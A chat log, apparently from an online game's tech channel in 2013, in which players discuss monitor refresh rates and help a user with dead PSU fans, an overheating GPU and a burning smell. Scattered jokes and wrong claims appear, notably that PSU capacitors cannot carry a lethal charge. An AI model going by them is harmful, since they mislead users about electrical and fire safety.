T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: huh. 144hz it is. Wierd.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: any who has spent hours playing PC games could tell the difference
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Eutychus Tech: I can see the difference between 60hz and 120hz..
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Regardless - it's not not electrical current. Your GPU will only display what it displays - its not like having a higher refresh rate monitor is going to force it to do more work without changing the settings
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Or between 120 and 600
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I don't know about 144Hz, but I pretty much only Aard :P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: not like electrical current, rather
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Look at high end TVs at your local television shop.  It looks unnatural only because it is so smooth.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i think even the 9800 gt with a dvi link can support the 144 hz
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: It looks unnatural for entirely different reasons then the refresh rate of the display, Noe
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: my Q is if that increases load and might be why my gpu spins as if under load while at desktop + mushclient
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Can you explain why?  I honestly want to know... it freaks me out
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: Most of them look unnatural because of the interpolated field/fake 3D weirdness
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Eutychus Tech: Theres a chance that is true Juic, that card is a tad older.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: noegel, don't see HFR at the theater, you will vomit at worst, have massive headache at best
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Noe.. look up something called 3:2 pulldown.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: I will... I just got a new Windows 8 laptop from Windows xp ugh 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: maybe it's dust.  I hate tech mysteries.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Tldr though, film speed doesn't divide evenly in to refresh rate of displays, so compromises have to be made
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: 144mhz is a multiple of the 24 fps rate
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: vliam ->  english please?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: 144mhz is also not a standard TV refresh rate, that I'm aware of anyway
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: I cant find anything
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: this ain't a TV, it's an lcd monitor
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: no, of course not.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Different convo, Juic. Was about the smoothness of movies and such
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: 144mhz TV would be silly
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: tech An lcd is an lcd.. but it's capabilities will be different
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I don't have any compressed air.  How else can I clean the heatsink on this gpu?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: It's been a while, but my understanding of the odd visuals have to do with how the different brands handle the change in that 24fps -> Refresh rate of the display. Sony calls theres Motionflow, don't remember the other trade names
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: heh, and the HFR cinema is still less than a standard 60 Hz frame rate
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: maybe it's just dirty.  The pc was in a room where steampipe water flooded, so the anti corrosion additives might have evaporated onto the heatsink.  The case is pretty open.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I'm not sure if any video card will support the 144mhz rate.  That's probably the limiting factor.  *shrug* 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: some nvidia cards will
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: An open case will always be susceptible to damage.  
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Also bad for cooling
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: dalor why is an open case bad for cooling?  shouldn't it help the heat dissipate better?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: No
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: You need airflow.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: There's no airflow
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Yes, but it dusrupts the well-designed air flow that is part of a good case design
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: basically, it lets the air that the fan just sucked in to go out the side hole before it goes over the hot bits of the computer
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: It's like running a marathon and going into a closet.  Compared to running a marathon and going into a strong breeze.  Which would you want
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how can i tell if I've installed a case fan to pull air in vs. push air out?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: put your hand in front of it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: which side gives you a breeze?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: What he said. Also, often times there are arrows on the shroud
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: nod, there's usually 90 degree arrows, showing blade direction and airflow direction
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Cant beat the hand method in the end
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: ideally you'd have fans covering both directions, and have the airflow channeled from intake across hot components before exhaust
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: when set up that way, neither fan has to be working as hard, as it's kind of like drafting bicycles
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the side of my tower has cut outs for two fans.  One on top of the other.  Should they both be pulling air in, or 1 pulling in 1 pushing out?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: is it more important to pull air in than push air out?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: depends on where they are in relation to the components
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: Often, you'll have an intake mounted to the front. And out flowing fan in the back.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: They should either be pulling air out or both in
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Also, in general you want to have more intake then exhaust... you want your case to be under slight positive pressure if you can
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: you want the one closest to the components to be sucking in, and the one furthest from them to be blowing out
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Quadrapus Tech: You should put them on the same slot, facing each other. They need to fight. The added energy use will make your computer faster.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: If they are doing different things, then it is a failure
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: If they are doing different things, then it is a failurerp
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: its what I do quad. survival of the fittest. the better component lives, the other dies
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Juic.. if it helps you in anyway... most video cards i've seen intake air from the fan, and exhaust it out the back of the case - so the side intakes tend to blow cold air at the top of the video card, that it will suck from and blow it out the rear
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: this gpu just has a small fan on top of the heat sink.  I imagine it's taking in air to blow on the heat sink?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Yes, but if you look at the back of it, where the video ports are - is there vents there?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: weird.  just noticed my psu fans aren't spinning.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Usually the heat sink is in a plastic shroud - and the fan is at one end. IT takes the air inside the case, pushes it through the heatsink/shroud, and out the back where those vents are
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: hmm, that could be part of why your vid card is spinning faster
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i was smelling burnt plasticy smell.  maybe it's the psu.  couldn't tell wtf that was coming from
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Either dead fan, or temp/load controlled fan so its slowed down
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the psu has two fans... one on each surface.. the back and in the csae.  neither are spinning.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: that's probably not good
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I guess I'll load something and see if they spin.  I wonder if this steam/flood screwed everything up.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: sometimes the inside fan is hard to determine whether it's running.  The back, though, that should be pretty obvious.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: wow they are dead.  crazy.  maybe that's why the gpu spins while not under load.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i have a transparent side to the tower, it's not spinning
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: also has an LED inside the psu so i can see quite clearly
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: You may have heat backing up into the case.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: also maybe why I've been smelling burnt plastic
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: yup, the gpu is temp sensing hot, so it's trying to do the work of the psu fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: well, yeah.  Definitely that.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: not sure where it's coming from though
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: gpu?  psu?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: also will it kill me
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: but of course the gpu can't bring in fresh air, so it can't catch up
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i took out the case fans b/c they were too loud, so the gpu really has no active air flow over it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I doubt you'll die but you're computer might.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i can't tell if the cpu is spinning more.  the gpu drowns it out.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I'd avoid putting any more strain on it than necessary.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so, any way to fix this PSU fan???
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: some of them are standard 80mm fans and you can replace them.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: first I'd stick case fans back in
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: generally PSUs are treated as nonservicable parts due to the shock risks working in them.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: or step up your timeframe for the computer that started this whole thread and don't worry about the one you're using now ;-)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so this thing is junked unless i can make up for the lost air flow... is that psu fan blowing into/out of the case (inside the case) for the benefit of the psu or the other components?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: both of them should blow backward.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i'm talking the fan inside the psu
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: psu fan is usually blowing out for the psu's sake...but in either direction, a blow in or a blow out, it'll cause some fresh air to be sucked in because of pressure differential
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: the front psu fan blows from the case into the psu.  The rear one blows from the psu to the back of the case.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how badly do psus need their fans?  I mean I really don't my computer to actually catch fire or blow up from a hot psu.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: a case fan should get you running halfway decent
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: it won't catch fire, but a component could fail
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i also don't want to die from breathing in these fumes of whatever smells like plastic
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: yeah.  It's unlikely to catch fire unless it's crammed with dust or something.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: one more question
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: tower case.  gpu mounts from the back from connectors which are like 6 inches off the ground
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: teh fan faces DOWN
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: there is no fan in the lower back of the case
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: to exhaust
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: that's normal
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: there is a place for a case fan on the side of the case
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so right now the gpu fan blows air down.  When i put this case fan back in, should it blow air out or blow air in?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: the GPU won't know what orientation your PCIe slots are in or where your case has its fans...all it knows is that the ports are in the back and it wants to get the heat away from the GPU
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the case fan is on the bottom of the side of the case, so a straight line would be perpendicular to the line coming from the gpu fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I'd have it blow in.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: should this case fan blow our or in?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: tbh, either direction would be such an improvement over today, just because fresh air will be getting sucked in (actively if in, passively if out) and warm air will be pushed out (reverse)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: but then there is a second case fan opening above... whicih would be on the same line as the fan on the mobo (which mounts vertically!)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I'd set them both to blow in if you have a large (120mm) fan in the back.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: and i thought both shold blow in or out, so maybe both should blow out, but then there's no real intake
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: if you have case fans for opposite sides ofthe case (front/back, top/bottom or left/right), have them blowing with one in and one out, so they're basically making the airflow always be a pretty straight wind
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: ther eis a fan in the back, not sure how big or which dir it blows
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: if you have case fans on the same side as each other, then they should be blowing the same direction as each other, so they make a "harder" blow/suck
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: these case fans are on the left side, no fans on the right side (the motherboard mounts vertically covers the right side anyway)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: Is the back fan larger than those side fans?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: ok, so I'd have those blow in, as they're then blowing directly onto the mobo (and somewhere on the mobo is the CPU)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i have to dig out those side fans.  took them out ages ago.  let me check.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: but abe the mobo has a fan, which i assume blows out, so wouldn't they be fighting?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: is that rear fan still installed and working?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: use your hand to determine whether that's in or out
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: it's likely exhaust
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: the mobo has a fan, or the CPU has a fan which is attached to the mobo by way of CPU socket
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i think it blows out.  i feel warm air
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the mobo has a fan, which would blow right into the top case fan on the side
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mottle Tech: how do you access the help that shows portal command for mushclient pls?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}RedRain Tech: mapper help
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: mapper help
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: crap i only have 1 fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: one's better than zero :-)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: 2 slots on the side of the case, but only 1 fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: where do i put it??!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: just check my tower.  My CPU fan blows down at the heatsink.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mottle Tech: thanks
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I'd put it over the CPU since that's normally where side mounted fans are pointed.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: really, just mount it in either spot, you'll be in better shape than you are now...you can do some load tests, see how it feels/sounds...flip it around and see if it's better/worse
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: ah, that makes a lot of sense vliam
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: and cover the other hole.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: You nod.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i assumed the cpu mounted fans blew OUT
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: you definitely don't want a hole next to the fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: they can go either way
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: but I guess if you have sensible air flow, it should blow in to cool it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: oh really, either way?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so i should check
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: put your finger in it.  If it cuts you, it's blowing down.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: I mean they can be designed to go either way...CPU heatsink-and-fan module is usually designed to work a particular way, but just a cpu fan that plops on can be different
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: kidding.  kinda.  Not really.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i can probably cannibalize a fan off another pc
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: if it's blowing up, your finger will hit the trailing edges of the blades.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: I find the best way to test if a fan is blowing a certain direction is to place a tissue on it.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Less blood on your parts that way
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: yeah, that might be safer.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Or, you know, build the pc yourself so you know what's what, and don't get one like my friend did which had 3 case fans all blowing in :-P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: yeah.  That's not right.  All of the outflow has to go through the PSU or various cracks.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: That's a bit restrictive.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: good tip on the tissue
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Just make sure there is a guard on the fan, unless you want to be can 'o' airing your pc for your new pile of confetti :-P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: And as for the 3 fans pointing inwards, the sweatshop worker who built the thing just put in the exhaust fan backwards - just one of HP's dubious 'design choices' in that particular machine
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so we've got a small intake fan in the front, a vertically on the right of the case blowing air INTO the case, a rear exhaust fan in the back, a PSU fan facing down into the case which is broken, a GPU card mounted horiztonally 6 inches off the group with a fan facing the case floor, not sure which way is blowing
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Sorry, PSU fan pointing INTO the case?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: vertically *mountaed motherboard
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: The GPU fan will be an intake, blowing onto the card
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: vakieh, the psu fan is on the bottom of the unit, inside the case, facing into the case, but is broken
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: not sure which dir that would normally be blowing
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Is it just a fan pulled off a PSU, or is it actually attached to a PSU at this time?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: it's a fan inside the psu
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ranrr Tech: replace it if the fan is broken, fire hazard
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: That should have a dedicated vent, it is quite possibly the hottest by volume component you have
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: normally, that inner PSU fan should be blowing up.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the psu unit has a vent in the back of the case going out, but the only fan i see is the one inside the case, pointing down into the case, which is broken
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Possibly a dumb question, but was the PSU mounted backwards? All the units I've seen should have their exhaust vent lined up with that fan, blowing out
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: vak, i can smell something plasticky burning, any idea which component that would be from?  My gpu is spinning as if under load even at just desktop...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: hmm, I thought that was always the guy's issue and never the chick's
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Why is this unit switched on if you smell burning?!!?!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: mis
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: because it's a slight smell?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: well, it's not dead yet.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Jhav Tech: ANYTHING burning or melting is extremely bad.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: yes, well if it's the gpu maybe i can fix with a side case fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: if it's the psu.. .not sure what to do about a broken fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I have a spare psu on another broken rig.  can i just swap it out?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: possibly.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: What voltage? Also, please find what is melting o.0 Preferably when the unit is not live
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: The CPU and GPU should have heat cutoffs, so it probably isn't them... a melting PSU is bad news, of course
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: if it's not a many-years-old rig, it's likely an ATX which can be swapped no prob
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: If it's enough voltage and have the right connectors, swapping should be possible.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Whoops, I said voltage, meant wattage
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Moruul Tech: usually burning smells is the psu
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: yeah, wattage.  not paying attention.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: One other possible problem is the physical size of the PSU.  Some of the manufacturers use custom sized compact PSUs that don't fit in anything else.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: what is an atx?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: it's the follower of the AT standard of computer power supplies
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how do i check the wattage?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Form factor for a mobo, among other things
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: it's a standard.  But, it's not exactly standard anymore.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: current power supplies will normally be ATX or mini-ATX
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: okay, i'm shutting down be back on my phone.  getting freaked out.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: tbh I am not overly comfortable recommending you work with electricals at all - is there somebody you can call?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: Remember this stuff can kill you
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: I don't think any capacitor carries enough of a charge to kill.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: back
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: not in a PSU.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: There's only one real way to be sure.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: im sure atx of some li.d
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: shouldnt be hard to just swap it out?  gotta ibstall onr when making a new rig anyway
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so weird the fan just stopped spinning
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: should be cake...just the power cables to each of your drives (hdd, optical, floppy) and a couple to mobo
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: well you did say that it was basically misted...that could've shorted the power to the fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: what dods tbh meN
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: To be honest.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: yes mizted while it wad on too if that matters
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: do i need a minum wattage to safely power my mobo and gpu?  both are years old
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: yeah, [mostly clean] water isn't a danger to electronics when they're not powered, but when they're on it can have unpredictable results
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: any strong opinions on good ssd?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: or bad
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: samsung seems to be fairly solid in reviews
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: can i rub tp across ny gpu board to clean the dust
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: to whoever asked earlier psu rated at 500
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: rocketfish
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: hard to clean gpu when its mounted horiz four inches above ground and heat ssink and fan poibt to the ground
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how do i take the fan off cpu heat sink to clean it?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: prybar
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: Daloran slaps The Jerk Fiendish.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: also why does my cpu fan blow out while vak says gpu fan would blow in
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: why does my cpu fan have arrows on it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: to show which direction the blades spin and which direction the air goes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ranrr Tech: All heat sinks have a direction they are designed for.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ranrr Tech: Some work in either, though.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: one arrow points into the sink but the fan blows out from the sink...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: make sure the power cord of the cpu fan is connected in the right direction...could be a polarity thing
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Usually sinks only have one drain =p
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ranrr Tech: From what I have heard, sounds like whoever assembled your chassis didn't know what he was doing.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ranrr Tech: I'd rip it all out, read manuals, and put it back according to instructions.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: bought off newegg yrs ago
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: it's not his new rig, it's a rig which he has removed a couple case fans from and is now putting stuff back into...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how do i clean the caked dust off sink from under mounted fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: walmart and get compressed air
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: or unmount the fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: you can always fake compressed air by picking up the whole computer, going outside and pretending that you're blowing out birthday candles...prepare to cough for a while tho :P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and without using a straw, you still won't get under stuff as well as a can of air
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Jhav Tech: I should buy a bellows.  It's the classy way to clean out the dust!
